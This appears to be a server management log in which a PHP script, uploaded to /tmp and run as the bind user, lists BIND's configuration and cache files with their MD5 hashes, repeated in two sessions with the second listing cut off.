MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-18 13:07:19: Establishing a connection
2026-04-18 13:07:19: 

PUT: /tmp/pkp336361

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-18 13:07:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp336361; rm /tmp/pkp336361'

2026-04-18 13:07:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-18 13:12:30: Establishing a connection
2026-04-18 13:12:30: 

PUT: /tmp/pkp272966

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-18 13:12:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp272966; rm /tmp/pkp272966'

2026-04-18 13:12:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
